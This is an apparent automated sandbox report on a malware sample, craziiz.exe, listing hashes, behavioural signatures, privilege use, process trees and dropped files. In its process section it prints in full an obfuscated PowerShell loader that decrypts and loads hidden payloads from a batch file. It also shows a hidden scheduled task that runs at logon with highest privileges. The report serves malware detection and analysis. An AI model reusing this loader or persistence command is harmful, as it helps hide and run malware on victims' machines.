Resubmissions
20/07/2024, 10:19
240720-mcxjtaxfnn820/07/2024, 10:17
240720-mbvc3a1ejd820/07/2024, 10:15
240720-man5na1dng8Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20240709-en - resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system - submitted
20/07/2024, 10:15
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
craziiz.exe
Resource
win7-20240704-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
craziiz.exe
Resource
win10v2004-20240709-en
8 signatures
150 seconds
General
- Target craziiz.exe
- Size 19.2MB
- Sample240720-man5na1dng
- SHA256 68efb7a8332b4504485b96570f5f2a9959b81d832e723bf654e59aa820f73e4d
- MD5 23c8a0898eb62951996a941d38335b08
- SHA1 96f584613b0c35ae206d569db76c97d9b5ac221c
- SHA512 130756ca4e45596361ade6ce5143a6bcb94acc6305c7f774cec59f4ef5984c3e9fdfd68471f8fbb4786781c52e06b207f7f9a1356894684ba83afd35924389f1
- SSDEEP 393216:2bdrQcQV3iiD6BFcltgFwcIClpBmyR2dKZLdzECuBm0O1Y1L:2xCVSE3lXcICj6KZLND6h1L
- MD5 SHA1 SHA512 SSDEEP
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 4352 powershell.exe 380 powershell.exe 3332 powershell.exe - Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation craziiz.exe Key value queried \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation WScript.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
pid pid_target Process procid_target 4348 4352 WerFault.exe 106 - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\Local Settings powershell.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 380 powershell.exe 380 powershell.exe 3332 powershell.exe 3332 powershell.exe 4352 powershell.exe 4352 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 380 powershell.exe Token: SeDebugPrivilege 3332 powershell.exe Token: SeIncreaseQuotaPrivilege 3332 powershell.exe Token: SeSecurityPrivilege 3332 powershell.exe Token: SeTakeOwnershipPrivilege 3332 powershell.exe Token: SeLoadDriverPrivilege 3332 powershell.exe Token: SeSystemProfilePrivilege 3332 powershell.exe Token: SeSystemtimePrivilege 3332 powershell.exe Token: SeProfSingleProcessPrivilege 3332 powershell.exe Token: SeIncBasePriorityPrivilege 3332 powershell.exe Token: SeCreatePagefilePrivilege 3332 powershell.exe Token: SeBackupPrivilege 3332 powershell.exe Token: SeRestorePrivilege 3332 powershell.exe Token: SeShutdownPrivilege 3332 powershell.exe Token: SeDebugPrivilege 3332 powershell.exe Token: SeSystemEnvironmentPrivilege 3332 powershell.exe Token: SeRemoteShutdownPrivilege 3332 powershell.exe Token: SeUndockPrivilege 3332 powershell.exe Token: SeManageVolumePrivilege 3332 powershell.exe Token: 33 3332 powershell.exe Token: 34 3332 powershell.exe Token: 35 3332 powershell.exe Token: 36 3332 powershell.exe Token: SeIncreaseQuotaPrivilege 3332 powershell.exe Token: SeSecurityPrivilege 3332 powershell.exe Token: SeTakeOwnershipPrivilege 3332 powershell.exe Token: SeLoadDriverPrivilege 3332 powershell.exe Token: SeSystemProfilePrivilege 3332 powershell.exe Token: SeSystemtimePrivilege 3332 powershell.exe Token: SeProfSingleProcessPrivilege 3332 powershell.exe Token: SeIncBasePriorityPrivilege 3332 powershell.exe Token: SeCreatePagefilePrivilege 3332 powershell.exe Token: SeBackupPrivilege 3332 powershell.exe Token: SeRestorePrivilege 3332 powershell.exe Token: SeShutdownPrivilege 3332 powershell.exe Token: SeDebugPrivilege 3332 powershell.exe Token: SeSystemEnvironmentPrivilege 3332 powershell.exe Token: SeRemoteShutdownPrivilege 3332 powershell.exe Token: SeUndockPrivilege 3332 powershell.exe Token: SeManageVolumePrivilege 3332 powershell.exe Token: 33 3332 powershell.exe Token: 34 3332 powershell.exe Token: 35 3332 powershell.exe Token: 36 3332 powershell.exe Token: SeIncreaseQuotaPrivilege 3332 powershell.exe Token: SeSecurityPrivilege 3332 powershell.exe Token: SeTakeOwnershipPrivilege 3332 powershell.exe Token: SeLoadDriverPrivilege 3332 powershell.exe Token: SeSystemProfilePrivilege 3332 powershell.exe Token: SeSystemtimePrivilege 3332 powershell.exe Token: SeProfSingleProcessPrivilege 3332 powershell.exe Token: SeIncBasePriorityPrivilege 3332 powershell.exe Token: SeCreatePagefilePrivilege 3332 powershell.exe Token: SeBackupPrivilege 3332 powershell.exe Token: SeRestorePrivilege 3332 powershell.exe Token: SeShutdownPrivilege 3332 powershell.exe Token: SeDebugPrivilege 3332 powershell.exe Token: SeSystemEnvironmentPrivilege 3332 powershell.exe Token: SeRemoteShutdownPrivilege 3332 powershell.exe Token: SeUndockPrivilege 3332 powershell.exe Token: SeManageVolumePrivilege 3332 powershell.exe Token: 33 3332 powershell.exe Token: 34 3332 powershell.exe Token: 35 3332 powershell.exe - Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 1028 wrote to memory of 4304 1028 craziiz.exe 87 PID 1028 wrote to memory of 4304 1028 craziiz.exe 87 PID 1028 wrote to memory of 4304 1028 craziiz.exe 87 PID 4304 wrote to memory of 1932 4304 cmd.exe 90 PID 4304 wrote to memory of 1932 4304 cmd.exe 90 PID 4304 wrote to memory of 1932 4304 cmd.exe 90 PID 4304 wrote to memory of 380 4304 cmd.exe 91 PID 4304 wrote to memory of 380 4304 cmd.exe 91 PID 4304 wrote to memory of 380 4304 cmd.exe 91 PID 380 wrote to memory of 3332 380 powershell.exe 99 PID 380 wrote to memory of 3332 380 powershell.exe 99 PID 380 wrote to memory of 3332 380 powershell.exe 99 PID 380 wrote to memory of 4656 380 powershell.exe 102 PID 380 wrote to memory of 4656 380 powershell.exe 102 PID 380 wrote to memory of 4656 380 powershell.exe 102 PID 4656 wrote to memory of 4544 4656 WScript.exe 103 PID 4656 wrote to memory of 4544 4656 WScript.exe 103 PID 4656 wrote to memory of 4544 4656 WScript.exe 103 PID 4544 wrote to memory of 2812 4544 cmd.exe 105 PID 4544 wrote to memory of 2812 4544 cmd.exe 105 PID 4544 wrote to memory of 2812 4544 cmd.exe 105 PID 4544 wrote to memory of 4352 4544 cmd.exe 106 PID 4544 wrote to memory of 4352 4544 cmd.exe 106 PID 4544 wrote to memory of 4352 4544 cmd.exe 106
Processes
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C:\Users\Admin\AppData\Local\Temp\craziiz.exe"C:\Users\Admin\AppData\Local\Temp\craziiz.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1028 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:4304 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uhfM5Ekrw+ocGOKftnYSyasYRZICC7P0NnnY/5IJf88='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DB+I746Y3DoHXqOsfJWvzw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pZbag=New-Object System.IO.MemoryStream(,$param_var); $XGRdT=New-Object System.IO.MemoryStream; $oFTsX=New-Object System.IO.Compression.GZipStream($pZbag, [IO.Compression.CompressionMode]::Decompress); $oFTsX.CopyTo($XGRdT); $oFTsX.Dispose(); $pZbag.Dispose(); $XGRdT.Dispose(); $XGRdT.ToArray();}function execute_function($param_var,$param2_var){ $cGsoe=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $onmhY=$cGsoe.EntryPoint; $onmhY.Invoke($null, $param2_var);}$LpXdB = 'C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.bat';$host.UI.RawUI.WindowTitle = $LpXdB;$JpiRJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($LpXdB).Split([Environment]::NewLine);foreach ($PtFHO in $JpiRJ) { if ($PtFHO.StartsWith('sqAngQnziQIztPnNNXoF')) { $Vyenk=$PtFHO.Substring(20); break; }}$payloads_var=[string[]]$Vyenk.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:1932
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:380 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_51_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_51.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3332
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_51.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4656 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_51.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:4544 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uhfM5Ekrw+ocGOKftnYSyasYRZICC7P0NnnY/5IJf88='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DB+I746Y3DoHXqOsfJWvzw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pZbag=New-Object System.IO.MemoryStream(,$param_var); $XGRdT=New-Object System.IO.MemoryStream; $oFTsX=New-Object System.IO.Compression.GZipStream($pZbag, [IO.Compression.CompressionMode]::Decompress); $oFTsX.CopyTo($XGRdT); $oFTsX.Dispose(); $pZbag.Dispose(); $XGRdT.Dispose(); $XGRdT.ToArray();}function execute_function($param_var,$param2_var){ $cGsoe=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $onmhY=$cGsoe.EntryPoint; $onmhY.Invoke($null, $param2_var);}$LpXdB = 'C:\Users\Admin\AppData\Roaming\Windows_Log_51.bat';$host.UI.RawUI.WindowTitle = $LpXdB;$JpiRJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($LpXdB).Split([Environment]::NewLine);foreach ($PtFHO in $JpiRJ) { if ($PtFHO.StartsWith('sqAngQnziQIztPnNNXoF')) { $Vyenk=$PtFHO.Substring(20); break; }}$payloads_var=[string[]]$Vyenk.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:2812
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4352 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 29127⤵
- Program crash
PID:4348
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4352 -ip 43521⤵PID:3560
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:768
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7
- MD5 9751fcb3d8dc82d33d50eebe53abe314
- SHA1 7a680212700a5d9f3ca67c81e0e243834387c20c
- SHA512 54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 53KB
- SHA256 9b946b062865f68b9f0f43a011d33d7ea0926a3c8f78fb20d9cab6144314e1bd
- MD5 3337d66209faa998d52d781d0ff2d804
- SHA1 6594b85a70f998f79f43cdf1ca56137997534156
- SHA512 8bbd14bd73111f7b55712f5d1e1b727e41db8e6e0c1243ee6809ff32b509e52dec7af34c064151fb5beccd59dda434a3f83abe987c561a25abfbb4cbcf9c7f1f
- SSDEEP 1536:heYaC+jH04tAHkCSMrxyNhftflJdPYoFi3j39MVvjMLUsszyhMUp7Fv+Eca5b/h8:8YaC+jH04tAHk5MrxyNhftflJdPYoFiA
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
- Size 20KB
- SHA256 49732b647399cb702dbbe9086175e9ad4edca28ae210c2ae6867016c7efdf49d
- MD5 722e2f7f788c8817595984405fc2e213
- SHA1 f062c071a8916d21e332d92f7f37044ad0ab50ee
- SHA512 6ded85f62db34e75571afbacc59e63dfa899c305c7566e4071ad07f14f9a0a00740d56dc825bdb1c91753c1747e808079a1a15b9d03939c4d640dc58939bb917
- SSDEEP 384:Yrf+Cy+w9p+fB0Utk3iJkX/o9o0Tof6seYbneOx/xoIGYbiU05A5Vt9KX//9Jc4n:CftyYB0oaXXQo0Tog+nhQYuX2Vt92cr4
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.bat
- Size 24.4MB
- SHA256 50e1ff826b6c14a386107504fe2af420c295b538da3227284f427cbaf0c8a098
- MD5 cf638de94cae2c43e062d62d05ec4126
- SHA1 2d2a77f5f8f0b980b119f689b03683cb5ebe1d76
- SHA512 080850bcf4390646f8fe15406be295df7ddfb9772b0dd47fd6a30aa180c257139ee8dc826f97ebaaf435cd7f5b68ea8fd50c909d01dcb641132812ff9682bf7a
- SSDEEP 49152:BvpdtPQYmuA3xz163dhUWLuYvk9hu8iAlE7sa6eT7k26sMZbEA9dxebx3kEejqNT:Bz
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vuia4b5j.a3u.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Windows_Log_51.vbs
- Size 114B
- SHA256 2bf1ebb0a1754d96b5e0a3e688df9152b41d38af089ac727dd81456bb2da82dd
- MD5 9d23bc48d9520c79e5ada71db154a3a1
- SHA1 0cac5625079b81bc29360f6dbbb78f0a6c555d6a
- SHA512 daf258c38f652e693bb727f74ae9a14f80dbb468a075d1c04925329a175ad0b0c69f137bf281371631c7d0c4505b92e11284ef0fcb7678878768bb2e48fbb9fe
- MD5 SHA1 SHA512